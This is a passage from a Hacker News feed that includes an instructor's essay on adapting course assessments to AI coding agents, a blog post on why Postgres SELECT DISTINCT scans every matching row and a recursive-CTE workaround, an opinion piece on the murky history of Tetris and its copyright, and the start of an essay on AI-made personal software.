company&#39;s safety protections for minors. Furthermore, the court ordered Meta to implement new safeguards, including age-verification technology and time limits on its platforms.&#xA;&#xA;&#34;Let this be a warning to every technology company doing business in our state,&#34; Torrez said Friday. &#34;If you lie to New Mexicans about how you use their data, we will find out, and we will hold you accountable.&#34;</content>
    <link href="https://www.cbsnews.com/news/facebook-liable-deceiving-users-cambridge-analytica/" rel="alternate"></link>
    <author>
      <name>pseudolus</name>
    </author>
  </entry>
  <entry>
    <title>How I changed teaching after AI managed to do all my homework assignments</title>
    <updated>2026-09-25T05:51:50+09:00</updated>
    <id>hn_49836579</id>
    <content type="html">Around 2021, well before ChatGPT launched, Vincent Hellendoorn suggested I try GPT-3 on the reading quizzes in my course. It produced convincing answers passing our rubric without actually seeing the assigned paper. At the time, I changed nothing. Five years later, AI agents could do all my assignments and I have redesigned most assessments in that course, even though what I want students to learn has barely changed. The strategy is always the same: No longer test understanding with anything that is done at home and instead focus on interactions with a TA, on exam, and on a video demo. Some of these changes violate evidence-based best pedagogy practices, and I made them anyway.&#xA;&#xA;For the last couple of years, I have mostly taught the course _Machine Learning in Production_, an upper-level course on building production-ready software around ML models with a heavy focus on MLOps, usually with 100 to 170 students. These days one common question when talking to other educators is how we have changed teaching in the age of generative AI and coding agents, so let me outline what we did.&#xA;&#xA;We have shifted covered topics with changing AI innovations and tools, but I barely touched the overall learning goals. I am fortunate that this is not an intro course and that the learning goals are not about writing code or using specific tools; they are about engineering tradeoffs, anticipating and mitigating risks, and teamwork. I think these are skills still worth acquiring, even if some can be simulated and offloaded to a model. (Revising an intro course or a traditional software engineering course likely would shift learning goals much more.)&#xA;&#xA;Also possibly important: We give students permission to use AI in all settings, in any form, without attribution, except for written and oral exams. We even encourage the use of AI tools in many places. I do not think policing AI is feasible even if we wanted, and more importantly I do think that students need to learn responsible use of these technologies anyway.&#xA;&#xA;## AI is forcing me to abandon evidence-based best practices&#xA;&#xA;Let’s start with this point upfront, since it is more important than what we actually do: Unfortunately, AI is actively undermining several evidence-based teaching practices (e.g., see _How Learning Works_ and _The ABCs of How We Learn_). For example, the evidence favors frequent low-stakes assessments with feedback (e.g., homework, quizzes) over few high-stakes ones (e.g., exams) – but AI is undermining practice in low-stakes settings and pushing us more toward exams.&#xA;&#xA;Similarly, I always provided a safety net where students can make mistakes and resubmit a limited number of assignments to regain lost points (a core recommendation of _specifications grading_ and _grading for equity_ to focus on learning outcomes, not the process), but we felt that this process was abused with AI: first submit a generated assignment solution without thinking and only look at the issues raised in grading for a resubmission (the typical story of externalizing the cost of AI use). In response, we have since taxed resubmissions with a 10% penalty.&#xA;&#xA;Also in-class interactions allow engaging with materials in an early low-stakes setting, but with AI I have seen many student groups offload the discussion questions to a model. Pen-and-paper submissions could fix this, but aside from a higher grading workload, it would also raise stress for students, take away from the low-stakes environment, and delay feedback.&#xA;&#xA;In general, this is a balancing act and I tend to err on the side of keeping low-stakes repeated interactions even though it can be abused. Yes, some students will get through the class without much deep learning, but it provides a better environment for those students who want to learn. I don’t want to get back to the model I’ve experienced during my own studies in Germany with mostly optional homework and a single exam at the end of the semester that was responsible for 100% of the grade in the course. This was nice for students who were self-motivated and good at learning for an exam (like me, I guess), but had failure and drop-out rates of 50 to 80%.&#xA;&#xA;## Written reflections → 15-minute conversations&#xA;&#xA;Now for actual changes in the course: I have given up all parts of assignments that required a written text answer. I still ask for reports that describe a solution and link to the relevant code fragments, but that’s just for navigating their solution and I’m fine with receiving AI generated documents for that. In contrast, reflection documents, like “What were challenging parts?”, “How would you improve teamwork?” or in reading quizzes “For scenario X, identify one plausible data quality problem you might expect that relates to one of the four data cascades discussed in the paper…” have become pointless and can be entirely delegated. Short of hiding the evaluation rubric, I can see no way of stating what I expect in a good answer that cannot be completely offloaded to an LLM.&#xA;&#xA;For written reflections, which I used to have as a part of pretty much every assignment, I now shifted to in-person interactions with a TA. After every assignment, each student needs to schedule a 15-minute meeting with a TA to answer a couple of questions in a live conversation (apparently Stanford cs221 is evaluating the same kind of approach in a controlled experiment this semester). I still share the reflection prompts in the assignment as examples of the kind of questions we ask. Students can still generate an initial answer with an LLM, but they may need to memorize parts of it, and we try to challenge them with follow up questions. The check-in meetings are part of the assignment and currently worth 20% of the assignment points, graded pass/fail. Students can try again if they fail and I encourage my TAs to have fairly high standards – we usually fail quite a few students on their first attempt.&#xA;&#xA;There are drawbacks to this design, but overall I am happy with the tradeoffs: Penalty-free retries reduce fairness concerns about TA grading of oral interactions; a more strict TA costs a student time, but not points. Oral check-ins demand more from students with anxiety, but so do written exams, and formal disability accommodations can provide a path in both cases. In fact, professional communication about technical work is a learning goal and oral check-ins train this more than written reflections. Regarding scale: We run the course at a 20:1 student-TA ratio with about 10h of work per TAs per week (fortunate, I know), so the check-ins amount to roughly 300 minutes per TA every two weeks, which is workable.&#xA;&#xA;For reading quizzes, I just gave up. I did not think doing in-person pen-and-paper quizzes in class would be worth the stress and the needless memorization work that those would be causing. I actually kept online reading quizzes around for a long time just to signal that I wanted students to look at the paper, fully understanding that most would just ask an LLM. These days, I still assign readings, but only half as many and without any points attached. Instead, I try to integrate lessons from the readings into in-class discussions. Still most students do not do the readings and just ask an LLM when we get to that point in the class (so nothing changed on that front), but those that do might get more out of it.&#xA;&#xA;Minor note: We observed that some students used AI during live discussions over Zoom (e.g. Cluely) and we will likely only offer in-person checkins in the future in response.&#xA;&#xA;## For coding tasks: code + videos + in-person knowledge checks&#xA;&#xA;We have weekly labs that are low-stakes small tasks to explore new tools (e.g., Kafka, Grafana, Docker, Weights and Biases). These tasks are necessarily scoped small and need to provide some help to students starting out – so they are obviously easily automateable by coding agents. We again rely on in-person check-ins – show the TA evidence that you completed the task and be able to answer a few questions, graded pass/fail. Again, we frequently send students back to read more documentation (or let their chatbot summarize the relevant part) and let them try again without a penalty until the time of the lab session runs out.&#xA;&#xA;For assignments, we use the same check-in with a TA discussed for reflections to let them explain part of their technical solution. In teamwork, we have longer debriefing sessions after each milestone (30-60 min per team). We award “beyond-the-comfort-zone” bonus points to a team if the TA can ask any team member to explain any part of the implementation. (Yes, I know, bonus points are a scam. I use them anyway. Sue me.)&#xA;&#xA;Also having students produce a short video demoing a feature they implemented worked really well for an assignment to extend a web application, because it required the feature to actually work with a user interface in a real workflow. I think producing videos for other parts could also work, as long as it’s not just reading an AI-produced script, but actually grounded in some technical work.&#xA;&#xA;## More of the grade now depends on what happens in the classroom&#xA;&#xA;As I see in many other courses, we also shift more points from activities done at home (e.g., homework) to activities done in the classroom (e.g., exams, participation). Exams are now worth 25% instead of 15%, and I suspect I will raise this further in the future. The debriefing is 10 to 20% of the homework and group work grade. Still the majority of points are associated with homework and group work done at home and most students get full or nearly full credit, but the main grade differentiation now comes from exam grades.&#xA;&#xA;I have not yet introduced graded in-class pen-and-paper quizzes that many other instructors now use, but it is an option. I prefer debriefing with a TA for now.&#xA;&#xA;## Freeing up TA time with AI grading of unsupervised work&#xA;&#xA;As students can more easily produce large amounts of code and lengthy text documents, traditional manual grading has become more tedious (the typical asymmetry of lower production costs without lowering manual review costs). The turning point for me was a year ago, when a TA shared how he felt silly grading a solution where the commit message included “Authored by Claude Code.”&#xA;&#xA;We have since built infrastructure to autograde code and written reports of homework with LLMs (institutionally approved LLMs). Autograding follows a relatively straightforward LLM-as-a-judge approach, where an LLM is prompted with a specific rubric item and instructions and parts of the solution (e.g., code diff, reports). To make autograding easier, I now ask for solutions across multiple markdown files in the solution repositories rather than a single PDF. The autograder makes a judgment as either “pass” or “needs review” with comments for the TAs. We usually spot-check a few “pass” grades (almost never finding issues), but TAs spend most of their time just with the “needs review” answers (many of which actually pass). The LLM-generated notes also speeds up the manual review process as it can provide meaningful context. In the end, TAs spend 50 to 80% less time grading (grading 80% less content) and spend more time interacting with students face to face – which they also prefer. At the same time, we still never deduct points without a human having reviewed that answer. Note that we grade against clear pass/fail criteria based on the concept of _specifications grading_, which works well for this kind of assessment, but also gives the students’ AI agents very clear instructions on how to do their homework for them.&#xA;&#xA;We now use the same LLM-as-a-judge approach to provide feedback to in-class discussions. We have breakout sessions (think-pair-share style) in every lecture and ask students to post their answers to a shared Slack channel before we talk about them. At the scale of the class with 100 to 170 students, I rarely had time to give individual feedback, but now I’ve automated that too. A custom Slack bot takes their answers, runs them through an LLM-as-a-judge check against a number of criteria. We usually covered the criteria underlying the checks in the lecture content, though we do not share the specific checks with students. With a second prompt, we then turn the check results into hopefully constructive feedback that is posted as a Slack response, encouraging students to revise their answer, after which we provide another round of feedback the same way. The prompts and one example of how this looks can be found in this gist. This feedback generator is also available to students later through a web or Slack interface to try different answers as they prepare for the exams. I’m also thinking about making the feedback available already during their breakout discussions to push them to think about their answers more deeply before they post them.&#xA;&#xA;Usually, both autograding and automated discussion feedback requires some calibration, often tweaking the prompts to make the model less sensitive or to look for specific problems. Usually an AI agent is helpful in creating the context and prompts for the checks from slides in the first place and to come up with common problems and corresponding checks given a couple of solutions.&#xA;&#xA;## Bigger assignments, as agents made the old, scoped ones trivial&#xA;&#xA;Given that students spend less time manually reading code, learning libraries, and writing code, we can scale the scope of the work. Usually, we try to scale it to the point where current AI agents cannot solve a task without more hands-on guidance and feedback.&#xA;&#xA;For example, our first homework assignment that was intended to screen for existing coding skills was to extend an Instagram-clone with two AI-powered features. The provided starter code _albumy_ was a relatively small (12k LOC), clean implementation for a textbook example. While the correct solution could be implemented in approximately 20 lines of code, the challenge used to be understanding the code, finding the right libraries, solving a dependency incompatibility issue, and integrating everything. The assignment was intentionally scoped to make it feasible to extend a web application even with little prior knowledge of HTML and Flask. This became trivial: In the fall of 2025, Claude Code could solve the entire assignment, including the writeup and reflection, without any interaction, simply by pointing it to the assignment text.&#xA;&#xA;We replaced that assignment with a similar task to implement two AI-powered features, but now in Zulip, a production-quality team chat application with a large code base (&gt; 500k LOC). Current coding agents can work with this code base, but require interaction to solve the task correctly. The required features are also bigger, require more backend and front-end changes, usually with several hundred lines of code. Without coding agents, this task would likely only be feasible for experienced web developers in the allocated time. The revised assignment has a similar function of demonstrating coding (or code generation) proficiency and to shift the student’s attention from model benchmarking in traditional ML courses to building product features in my course, but at a much larger and more realistic scale.&#xA;&#xA;Similarly, we raised requirements in other assignments. Where previously we asked students to perform hazard analysis manually, we now ask them to build automation for the process, run it at some scale, and then curate relevant results. We add additional requirements to the group project too.&#xA;&#xA;Note that we have to assume that students are using AI coding agents for their work and that they are somewhat competent at it. How to use AI coding agents effectively is not a learning goal and not something we cover in this course (deliberate decision), though we help students on demand in office hours. This mirrors how I treated programming skills before AI: I never taught Python or HTML in this course either, but I assumed that students have basic programming skills and can pick up new languages, libraries, and tools on their own; the first assignment screened exactly for that. At this point, proficiency with AI coding tools is simply the new baseline, and other courses like 17-214 can teach it properly (and pretty much everybody is exposed to these tools or actively using them already anyway). I am aware that students may need to subscribe to an AI provider and that this can create equity issues. I do not believe that suggesting using low-cost open-weights models would be a fair alternative. Instead, I usually argue that subscription costs are actually lower than textbook costs: A textbook easily costs $100 these days (and publishers are busy destroying the second-hand market), compared to $20/month for 3 months of a semester. For a while AI companies have been generous with student credits, but that time is mostly over. The textbook analogy is not perfect, but AI costs are nearly negligible compared to the cost of attending CMU in the first place. In the end, I think it is the responsibility of the university or other institutions to provide the support infrastructure (e.g., through scholarships) to provide students with equitable access, just as they do for textbooks. We now mention the expectation to use a commercial subscription in our syllabus.&#xA;&#xA;## Letting students get burned by confident-wrong AI hopefully calibrates trust&#xA;&#xA;In an ideal world, I would like to always design parts of an assignment that AI agents get confidently wrong, just to teach students to not over-rely on these tools. Finding that 80% of the class lost points on a simple question because they didn’t check their generated answers is a great learning experience – similar to phishing-attack training (i.e., sending fake phishing emails to see whether employees fall for them). The point is to raise awareness of automation bias and calibrate trust _down_ to a more appropriate level.&#xA;&#xA;In practice, I have not succeeded designing assignments explicitly for likely AI mistakes, but we have now found multiple such cases by accident:&#xA;&#xA;- ChatGPT was confidently wrong about where hardware fits in Jackson’s distinction of the World vs the Machine (even when providing the full paper). About 20% of students used to make that mistake before ChatGPT, then it was 80% after, and even telling students explicitly upfront about ChatGPT making this mistake reduced it only to 50%.&#xA;&#xA;- Claude Code is remarkably insistent on really bad solutions to an agent security problem (how to make sure that the agent always confirms an MCP action with a financial transaction before executing it), producing a fancy-sounding solution (“two-phase confirmation protocol”) that is completely insecure when thinking about it adversarially. Again 80% of students fell for this mistake initially – including most of my TAs who I had to ask to regrade the entire assignment. More recent models make this mistake less, so unfortunately students no longer fall for it reliably.&#xA;&#xA;&#xA;Debriefing after such a failure is a good learning opportunity to talk about automation bias and different forms of human oversight (and how this is really hard in practice). The course has a safety net with resubmission opportunities, where having a majority of students initially fail an assignment does not impact their grades if they learn from it.&#xA;&#xA;Generally, pushing assignments to a scope and complexity that exceeds what an agent can comfortably do in a single step helps with experiencing this occasionally. I wish I could design for it explicitly.&#xA;&#xA;## Students seem to accept these changes, though I lack evidence on learning outcomes&#xA;&#xA;Beyond what we grade (which is mostly AI generated), I cannot really measure whether students learn more or less. Grade distributions are not a meaningful signal; average grades have drifted down a bit over the years, but that started before most of these changes and might be explained by offloading work to AI or simply by changing demographics in the course. What I can observe is that students readily accept the new formats, and many students who I speak to appreciate these changes, including the flexibility, the in-person interactions, and even the pushback from TAs that forces them to actually understand their solutions. Admittedly, most students I speak to about this in more depth are prospective TAs, not quite a representative sample. Student meetings are revealing in another way: Students regularly complain about classmates offloading their thinking to AI, and within teams we regularly see both conflicts about AI use and self-policing behavior, where teams work out many of these issues on their own.&#xA;&#xA;## Continuous adoption seems unavoidable&#xA;&#xA;The pace with which I make changes is increasing. This course was fairly stable for many semesters, with the occasional new example or updated tool; now I make larger changes semester after semester on most assessments (except for exams). Many actions that we take decay as models improve: Cluely has been used to cheat on Zoom check-ins, questions that reliably tripped up coding agents stopped working with more recent models, and the Zulip assignment may eventually become too easy too. We now need to check which assignments and teaching strategies survive the latest generation of tools each semester. Maybe I will have to give in to pen-and-paper quizzes at some point. On the positive side, AI also helps me to adapt and change assignments and build autograders, so adaptation becomes cheaper too.&#xA;&#xA;Back in 2021, I could watch GPT-3 answer my reading quizzes, note that things will change but comfortably do nothing. Now in 2026, I do not get to do that anymore.</content>
    <link href="https://thelastsoftwareengineer.substack.com/p/how-i-changed-teaching-after-ai-managed" rel="alternate"></link>
    <author>
      <name>azhenley</name>
    </author>
  </entry>
  <entry>
    <title>Postgres SELECT DISTINCT Does Not Scale</title>
    <updated>2026-09-25T03:43:52+09:00</updated>
    <id>hn_49835096</id>
    <content type="html">Recently, there has been no shortage of popular blog posts about how Postgres scales or why you should use it for everything. In this post, we&#39;ll do something a little different: describe an issue we had with a Postgres feature that intuitively should scale, but actually doesn&#39;t.&#xA;&#xA;SELECT DISTINCT is an innocuous-seeming clause that finds all unique values of a column. However, its performance characteristics aren&#39;t what you&#39;d expect: no matter how you index your table, no matter how few unique values there are to retrieve, SELECT DISTINCT will always scan every row that matches its predicates. We recently observed this when diagnosing the performance of a Postgres-backed queues workload, where SELECT DISTINCT turned out to be the most expensive query despite appearing to be the simplest and cheapest. In this blog post, we’ll explain what happened, what design decisions in Postgres make SELECT DISTINCT slow, and how to work around it.&#xA;&#xA;### Finding Unique Partitions with SELECT DISTINCT&#xA;&#xA;We observed the slowdown in a Postgres-backed partitioned queues workload. Each queue is divided into partitions (for example, one per user) so flow control can be applied independently to each partition (for example, allowing each user to run at most one task at a time). The first step in dequeueing workflows from a partitioned queue is to find all “active” partitions, meaning partitions with an ENQUEUED workflow on them. We originally used \`SELECT DISTINCT\` to do this:&#xA;&#xA;What SELECT DISTINCT does is find all unique values of a column given some condition. So this query finds all unique non-NULL partition keys among ENQUEUED workflows on a particular queue. We expected this query to be fast because it’s properly indexed using an index on queue name, workflow status, and partition key:&#xA;&#xA;Intuitively, the index looks like this. Workflows are laid out in a tree structure first by queue name, then by status, then by partition key. This allows Postgres to efficiently locate workflows using all three fields.&#xA;&#xA;Because the index has this shape, we expected the performance of this query to be O(number of active partitions). After all, to satisfy this query Postgres only needs to seek a single row from each unique partition, then return the partition keys it found.&#xA;&#xA;Initially, this appeared to be working as intended. Most of our queue workloads were “wide but shallow” with many partitions but few enqueued workflows per partition. For those, the query performed as expected. However, we soon encountered issues with “narrow but deep” workloads where there were few partitions, but they each contained many enqueued workflows. We expected the query to finish in under a millisecond because there were so few partitions, but instead it took seconds. We quickly realized this meant the query was scaling not with the number of active partitions, but with the total number of enqueued workflows, making it unacceptably slow.&#xA;&#xA;We validated this observation with a benchmark fixing the number of partitions at 10 but scaling the number of rows per partition from 100 to 1M. As we can see, query latency scales linearly with the number of rows per partition.&#xA;&#xA;To understand why that was happening and how to fix it, we’ll have to examine how Postgres plans and executes this query.&#xA;&#xA;### The SELECT DISTINCT Query Plan&#xA;&#xA;When we examined the query plan Postgres was using for the SELECT DISTINCT query, it looked like this (assuming 1M enqueued workflows across 3 partitions):&#xA;&#xA;Essentially, Postgres is doing a full index scan: walking the index to retrieve every single enqueued workflow on a particular queue (in this case, 1M rows total) and checking if it contains a unique partition key. This explains the performance we saw: the reason run time scales with the total number of enqueued workflows is because Postgres is actually scanning every single enqueued workflow. This is supremely wasteful: in this example Postgres scanned 1M rows to find just three partition keys it could have directly retrieved from the index.&#xA;&#xA;The Postgres query planner chooses this plan because it doesn’t have an alternative. Every operator implemented in Postgres for scanning an index performs a full index scan, retrieving all indexed values matching its predicates. Other relational databases do better: MySQL provides a “loose index scan” operator that retrieves only each unique value that satisfies its predicates.&#xA;&#xA;Interestingly, Postgres 18 added something like a loose scan: a skip scan optimization that “skips” rows when searching a multicolumn index on a column other than its leftmost column. However, in our case, this still scans all rows that match its predicates, so it can’t be used to speed up SELECT DISTINCT. Separately, there was a significant attempt to add a loose index scan in 2018, but it was abandoned after four years of effort and maintainer churn.&#xA;&#xA;### Mitigating the Slowdown&#xA;&#xA;Because the performance of SELECT DISTINCT scales with the size of the table and not the number of unique values it contains, it is not usable at scale. To efficiently count the number of unique values in a table, we instead need a workaround: a more elaborate query that effectively coerces Postgres into generating an efficient query plan.&#xA;&#xA;This query is remarkably hard to read because it utilizes a recursive common table expression (CTE). To first approximation, this is a way to write imperative code in otherwise-declarative SQL. Essentially, this query evaluates as a loop whose first iteration finds the “smallest” partition key and whose subsequent iterations each find the “next” unique partition key after it. Here’s what that looks like:&#xA;&#xA;Each loop iteration does a SELECT min() on a sorted index, so it only retrieves a single value instead of scanning the entire index. Therefore, because each loop iteration does fixed work and the total number of loop iterations is equal to the number of unique partitions, this query provides the O(number of partitions) performance we need.&#xA;&#xA;To validate this performance, we benchmark the new query, fixing the number of partitions at 10 but varying the number of rows per partition from 1K to 1M. As we can see, median latency does not change no matter how large the partitions get:&#xA;&#xA;### Learn More&#xA;&#xA;If you like building scalable, reliable systems, we’d love to hear from you. At DBOS, our goal is to make Postgres-backed durable execution as simple and performant as possible. Check it out:&#xA;&#xA;- Quickstart: https://docs.dbos.dev/quickstart&#xA;- GitHub: https://github.com/dbos-inc&#xA;- Discord community: https://discord.gg/eMUHrvbu67</content>
    <link href="https://www.dbos.dev/blog/postgres-select-distinct-does-not-scale" rel="alternate"></link>
    <author>
      <name>KraftyOne</name>
    </author>
  </entry>
  <entry>
    <title>The Murky History of Soviet-Born Tetris</title>
    <updated>2026-09-25T08:11:45+09:00</updated>
    <id>hn_49838040</id>
    <content type="html"># The Bizarre, Murky History of Soviet-Born Tetris&#xA;&#xA;Earlier this month, the Trump administration released a politically charged clone of Tetris called Build the Wall. The Tetris Company (TTC), which owns the rights to the iconic video game, swiftly responded with a thinly veiled legal threat, writing on X: “We take copyright infringement very seriously.” Four days later, the White House took down the game without explanation.&#xA;&#xA;Whether TTC’s post prompted the removal is unknown. But the episode points to a broader and more dubious claim advanced by the company: that it holds exclusive rights to what it misleadingly refers to as “Tetris” pieces — and, more broadly, to any electronic puzzle that involves falling shapes. The claim relies on a flawed ruling rendered in 2012 in _Tetris Holding, LLC v. Xio Interactive, Inc.,_ a case in which a federal judge decreed that geometric forms made of four equal-sized squares, each joined together with at least one other square along an edge, were copyrighted and belonged to Russian engineer Alexei Pajitnov and game designer and entrepreneur Henk Rogers, collectively organized as TTC.&#xA;&#xA;The problem: Pajitnov did not design these puzzle pieces, known as tetrominoes, and despite TTC’s relentless public-relations campaign to the contrary, they are not unique to Tetris. In fact, famed Caltech mathematician Solomon Golomb first described them in 1953 during a talk at the Harvard Mathematics Club, and they were later popularized in _Scientific American_.&#xA;&#xA;But TTC’s false claim to originality is only one aspect of the game’s dark and bizarre history.&#xA;&#xA;Rewind to 1993. First Lady Hillary Clinton is pictured aboard an Air Force plane, absorbed in her Game Boy, playing Tetris. The black-and-white White House photograph doesn’t show the cartridge clearly enough to make out the details, but Clinton’s Staff Secretary, Robert Russo, confirmed to me that she was indeed playing the game.&#xA;&#xA;The irony was great. The United States was boasting that it had just won the Cold War. A major instrument of that victory had been the spread of Western culture throughout the Eastern bloc through films, television, popular music, and other media. Yet the video game that had made it aboard the First Lady’s plane, and into a vast number of U.S. and Western-European households, was not an American product, but a Soviet one. What’s more, it had been designed and coded in a state artificial-intelligence research lab tightly controlled by the KGB, the dreaded secret police of the Russian dictatorship, at a time when U.S. President Ronald Reagan referred to the Soviet Union as the “evil empire.” The story of the commercial success of Tetris is the poster child for two systems radically opposed in history, culture, economics, and politics. In fact, it arises out of this opposition.&#xA;&#xA;Ironically, Tetris’s success began because the totalitarian Soviet regime did not recognize what we take for granted in the West: the freedom to publish. After Pajitnov adapted Golomb’s geometric discoveries for the nascent digital world, he had no choice but to distribute his game as a samizdat, a self-published underground cultural good passed on the sly — except that rather than being mimeographed on paper like its illustrious sibling, Aleksandr Solzhenitsyn’s “The Gulag Archipelago,” Pajitnov’s samizdat got passed around on floppy disks.&#xA;&#xA;The game rapidly made its way through the Eastern bloc before reaching Hungary, where British software entrepreneur Robert Stein recognized its commercial potential. From there, its licensing history became notoriously tangled. Rights to various versions passed, under sometimes competing claims, through the Robert Maxwell group, Atari, Sega, and finally to Nintendo, which packaged Tetris as the Game Boy’s “killer app.” By then, the USSR had taken control of the game through its technology export agency, ELORG, run by a stern bureaucrat, Nikolai Belikov. The micro-computers, Nintendo, and coin-op versions sold in the West filled the Communist Party’s coffers handsomely.&#xA;&#xA;And then, the Berlin Wall collapsed. The floodgates of capitalism — and, in Russia’s case, mayhem — opened. At the game of perestroika (Gorbachev) and privatization (Yeltsin), the rule of law and Russia lost. Out of the resulting confusion emerged two competing claims to ownership of Tetris: one advanced by Patjinov and the other by Nikolai Belikov.&#xA;&#xA;Despite the fact that the USSR generally did not recognize private property, or the copyrightability of software for that matter, or the fact that he had designed the game on his work time using his work computer, Pajitnov, who by then had moved to the U.S., cast himself as the victim and claimed that the game’s copyright had been his all along. The appeal to pity was powerful and should not have survived reasonable legal scrutiny, but thanks to a few sympathetic judges, it did.&#xA;&#xA;Meanwhile, the nomenklatura man in charge of exporting the game on behalf of the USSR pulled a rather bold trick: He created a corporation in Delaware, also conveniently named ELORG, and, as head of Soviet ELORG, assigned the Tetris rights to that American shell. This was most likely done through a backroom deal with Yeltsin’s people and the KGB, although specific details have not been documented.&#xA;&#xA;What has been documented is that in exchange, Belikov owed Soviet generals and colonels, now organized as a mafia entangled with the nascent Russian state, 50 percent of the Tetris proceeds. In grand oligarch fashion, Belikov then crossed the Russians and hid the proceeds through a flurry of shell corporations and accounts in the U.S., Africa, the Grand Cayman Islands, and the Bahamas. Lest this sound too much like a spy movie to be true, years of litigation produced Belikov’s own testimony, along with detailed charts of the opaque setup.&#xA;&#xA;After the Soviet Union collapsed, Belikov and Patjinov — who by then had teamed up with Nintendo’s fixer Henk Rogers — sued each other over the rights to the game in federal court in New York. Pajitnov had very little going for him. The USSR did not recognize software copyright, or any private property for that matter other than for household pots and pans. Further, he developed the game on his work computer during work hours, which under U.S. legal principles would make it his employer’s property.&#xA;&#xA;Belikov, for his part, claimed that ELORG, a Soviet state agency, had miraculously morphed into the Delaware company he had formed, and that he therefore owned the rights. When the new Russian state, entangled in its own domestic mess, failed to react, Pajitnov, Rogers, and Belikov settled. The pair of friends would get the rights, while the bureaucrat received $15 million, which he quickly made disappear from his homeland’s sight through an elaborate web of offshore corporate shells and a Panamanian passport he bought for $200,000 for the occasion.&#xA;&#xA;Pajitnov and Rogers also proceeded to erase anything that would come in the way of Pajitnov’s miraculous claim of original exclusive ownership. That included a young Soviet programmer named Vadim Gerasimov. In 1985, Gerasimov worked closely with Pajitnov to develop the game and single-handedly designed and coded the MS-DOS port (the original game had been coded by Pajitnov on an arcane Russian minicomputer, the Electronika 60). Although Pajitnov had originally credited Gerasimov for his work (including in an under-oath testimony in U.S. court), he later testified (also under oath) that he was the sole author. Rogers played his part in supporting his friend and changed the credits on the console port he developed for the Nintendo Famicom to erase any mention of Gerasimov. The before-and-after screenshots of the credits are telling.&#xA;&#xA;By the mid-1990s, Pajitnov and Rogers seemed to have a firm grip on the Tetris intellectual property. But the World Wide Web changed the picture. The Web enabled a flurry of Tetris derivatives to flourish and be widely distributed as freeware. TTC would have none of it and aggressively unleashed its army of lawyers after what were often teenage amateur creators. It was ironic, since the early success of Tetris happened by virtue of it being distributed as freeware. TTC didn’t hesitate to overreach, going after any game that had falling shapes, such as _Alphatris_, which involves single-square blocks featuring letters. In these post-perestroika days, a symbol of the socialist republic had become a symbol of capitalist copywrongs.&#xA;&#xA;TTC went one step further, falsely claiming in a court filing that the “seven Tetrimino playing pieces made up of four equally sized square \[sic\] joined at their sides,” and “the visual delineation of individual blocks that comprise each Tetrimino piece and the display of their borders” are “original and distinctive” and “were designed in the 1980s by Alexey Pajitnov.” As we saw, however, the tetrominoes are elementary geometric forms that Golomb had identified and described in the 1950s. And although U.S. copyright law does not protect geometric forms, the _Xio_ court fell for TTC’s bait and effectively extended copyright protection to the tetrominoes themselves. Which is doubly flawed because if such shapes were copyrightable, then Golomb would be the copyright holder, and Pajitnov should have been found to be infringing!&#xA;&#xA;Tetris is a story of contrasts. Contrasts between two systems: the oppressive Soviet communist dictatorship and the Western free-market capitalist economy, and the story of what happens when the two meet. Contrasts between the official corporate story and a more nuanced reality, which shows a darker side to the Tetris story: a pattern of internally contradictory statements by Pajitnov; blatant misstatements of facts, some of which were made under oath; a systematic erasure by TTC of important facts and characters; and the monopolization through copyright law of geometrical forms and mathematical concepts that should have remained in the public domain.&#xA;&#xA;But Tetris is also a story of ambiguities caused by the murkiness of changing times in the East — first with Mikhail Gorbachev’s perestroika and then amid the rise of oligarchs under Boris Yeltsin, from which Belikov benefited handsomely before fleeing and disappearing with his Tetris millions. In sum, Tetris is a story of tumultuous times.&#xA;&#xA;**Julien Mailland** is a technology industry attorney, Professor of Media Law &amp; Management at the Indiana University Media School, Adjunct Professor of Informatics at the Indiana University Luddy School of Informatics, Computing, and Engineering, and Associate Editor of The Information Society. He is the author of several books, including, most recently, ”Soviet Blocks: The Bizarre Puzzle of How Tetris Embraced Western Values.”</content>
    <link href="https://thereader.mitpress.mit.edu/the-bizarre-murky-history-of-soviet-born-tetris/" rel="alternate"></link>
    <author>
      <name>EA-3167</name>
    </author>
  </entry>
  <entry>
    <title>What even is an OS now?</title>
    <updated>2026-09-26T06:36:56+09:00</updated>
    <id>hn_49850305</id>
    <content type="html"># What Even Is An OS Now?&#xA;&#xA;**Crazy as it sounds to say this, since it’s all anybody’s been able to talk about for over a year, but the impact of AI on computing hasn’t yet sunk in.**&#xA;&#xA;Today I’m parting company with Fly.io to work with Kurt on a new project. I’m getting that out of the way so you all know up front I’m talking my book.&#xA;&#xA;When I was a little kid, a family friend sold us our first “computer” — scare quotes because I’m pretty sure it was a VTech Laser 200 clone, a chiclet keyboard Z80 that ran off cassette tapes and plugged into our TV. I was old enough to know what a computer was, and conceptually what it meant to program one, because I remember dreaming of all the dumb games I could make. Finally! We had a device that would allow me to make things like the “Hitchhiker’s Guide” text adventure I’d play at my dad’s office.&#xA;&#xA;But it booted straight into BASIC. That’s all it did. I was, like, 8 years old. I wasn’t about to learn BASIC. What I learned instead: computers were not as awesome as I’d imagined.&#xA;&#xA;By my mid-teens, computer security finally dragged me into programming. Coding only reinforced that crummy lesson. The more I understood how programs were constructed, the more forbidding it sounded to build an entire complicated application. I could belt out fast network servers no problem, but a word processor? You might as well have asked me to build a diesel locomotive.&#xA;&#xA;Suddenly, everything has changed. Computers now work the way I thought they did when I was 8.&#xA;&#xA;I’ve been writing these past several months about all the native macOS apps I’ve been churning out, and how weird it is to watch AI dissolve the boundaries between backend programming and frontend, between web and native, systems and applications. All huge stories; any one of them would land in my career top 10 big shifts.&#xA;&#xA;But AI is knocking down a much more important boundary: the one between programmers and users. My Mac menu bar and task switcher are cluttered with icons for programs I conjured for myself, with English as my programming language.&#xA;&#xA;What I did on my computer, any power user can do on theirs.&#xA;&#xA;Will do on theirs.&#xA;&#xA;It’s fucking inevitable.&#xA;&#xA;❦&#xA;&#xA;That’s a statement about the reality; a “prediction”, if you want a concession to your skepticism about AI, but only in the sense that I can predict that the sun will rise in the east tomorrow. So what do you do with that?&#xA;&#xA;I think we’re all so bumfuzzled by the first-order impacts of AI that we haven’t considered the second-order effects.&#xA;&#xA;Consider: what does computing look like in a world where many (maybe most) applications have an audience of just 1-2 people? How is software distributed? What does it run on?&#xA;&#xA;When I was younger, I learned that programs were normally something you bought off the shelves at Egghead Software. Then I watched the shelves at Egghead become obsolete. Then boxed software altogether. Then software shipped on CD-ROMs — you know that’s why we call it “shipping”, right? we used to have to arrange shipping! — wiped away by the Internet. Now I think I’m about to see something else start to wash away: the entire concept of prefabricated fixed-function applications.&#xA;&#xA;Here’s what’s about to happen: users will increasingly interact with stuff they themselves conjured into being. Them, or people they’re on a first-name basis with. Programs will solve their problems specifically:&#xA;&#xA;- 